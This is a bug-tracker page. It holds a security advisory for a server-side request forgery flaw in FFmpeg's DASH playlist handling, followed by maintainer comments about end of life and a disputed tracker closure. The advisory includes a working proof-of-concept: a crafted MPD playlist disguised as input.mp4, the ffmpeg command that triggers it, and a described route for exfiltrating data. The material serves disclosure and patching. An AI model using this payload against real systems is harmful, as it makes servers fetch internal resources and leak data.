V. DASH Playlist SSRF Affected Versions: 4.2 → 6.0 (latest) DASH playlist support requires FFmpeg to be compiled with libxml2 support. Suggested CVSS 3.1: 7.2 AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N Summary An instance of FFmpeg that does not enforce an input format can be provided a malicious input that will trigger an SSRF to an attacker controlled URL. Impact Arbitrary HTTP GET requests can be made on behalf of the machine that FFmpeg is running on. Description The DASH demuxer doesn't check the protocol whitelist before triggering the http demuxer which updates the whitelist to include http,https,tls,rtp,tcp,udp,crypto,httpproxy,data. [NULL @ 0xaaaaf874c1a0] Opening 'input.mp4' for reading [file @ 0xaaaaf874ca90] Setting default whitelist 'file,crypto,data' Probing dash score:100 size:526 [dash @ 0xaaaaf874c1a0] Format dash probed with size=2048 and score=100 [dash @ 0xaaaaf874c1a0] DASH request for url 'http://localhost:8000/secret', offset 0, playlist 0 [http @ 0xaaaaf8751370] Setting default whitelist 'http,https,tls,rtp,tcp,udp,crypto,httpproxy,data' As the response to any HTTP requests made are treated as input to FFmpeg, a DASH playlist can be constructed so that the first request is to an attacker controlled web server that returns, e.g. an XBIN header. Once the XBIN demuxer is triggered, the subsequent requests (even to non-attacker controlled web servers) will be treated as XBIN input. This results in a partial rendering in the output artifact, allowing for possible data exfiltration. Reproduction Example Input (input.mp4): <MPD xmlns="urn:mpeg:dash:schema:mpd:2011" profiles="urn:mpeg:dash:profile:full:2011,http://www.dashif.org/guidelines/low-latency-live-v5" type="none"> <Period duration="PT1S"> <BaseURL></BaseURL> <AdaptationSet contentType="video" lang="en"> <Representation id="video"> <SegmentList> <SegmentURL media="http://localhost:8000/secret"/> </SegmentList> </Representation> </AdaptationSet> </Period> </MPD> Spawn an HTTP locally server (e.g. python3 -m http.server) and run ffmpeg -i input.mp4 output.mp4 with the above input. You'll see a GET to /secret in the logs of the HTTP server. Remediation DASH playlists should restrict URIs to data:// and file:// unless otherwise specified with protocol_whitelist. Reproducible: Always
This message is a reminder that Fedora Linux 39 is nearing its end of life. Fedora will stop maintaining and issuing updates for Fedora Linux 39 on 2024-11-26. It is Fedora's policy to close all bug reports from releases that are no longer maintained. At that time this bug will be closed as EOL if it remains open with a 'version' of '39'. Package Maintainer: If you wish for this bug to remain open because you plan to fix it in a currently maintained version, change the 'version' to a later Fedora Linux version. Note that the version field may be hidden. Click the "Show advanced fields" button if you do not see it. Thank you for reporting this issue and we are sorry that we were not able to fix it before Fedora Linux 39 is end of life. If you would still like to see this bug fixed and are able to reproduce it against a later version of Fedora Linux, you are encouraged to change the 'version' to a later version prior to this bug being closed.
Closing this tracker -> incorrect tracker.
(In reply to Michal Findra from comment #2) > Closing this tracker -> incorrect tracker. Please explain why you closed a valid bug report that was not opened by you and not assigned to you.
Fedora 41 is still vulnerable.
(In reply to Dominik 'Rathann' Mierzejewski from comment #3) > (In reply to Michal Findra from comment #2) > > Closing this tracker -> incorrect tracker. > > Please explain why you closed a valid bug report that was not opened by you > and not assigned to you. The flaw contained multiple flaws and multiflaw trackers were used, it will be split into multiple single tracker for each flaw and each product (affected versions differ between flaws, etc.). https://bugzilla.redhat.com/show_bug.cgi?id=2253172
(In reply to Michal Findra from comment #5) > (In reply to Dominik 'Rathann' Mierzejewski from comment #3) > > (In reply to Michal Findra from comment #2) > > > Closing this tracker -> incorrect tracker. > > > > Please explain why you closed a valid bug report that was not opened by you > > and not assigned to you. > > The flaw contained multiple flaws and multiflaw trackers were used, it will > be split into multiple single tracker for each flaw and each product > (affected versions differ between flaws, etc.). > https://bugzilla.redhat.com/show_bug.cgi?id=2253172 Ok, so when you have the new tracker ready, then you can block the new tracker on this bug. This one is valid and I can see no reason to close it.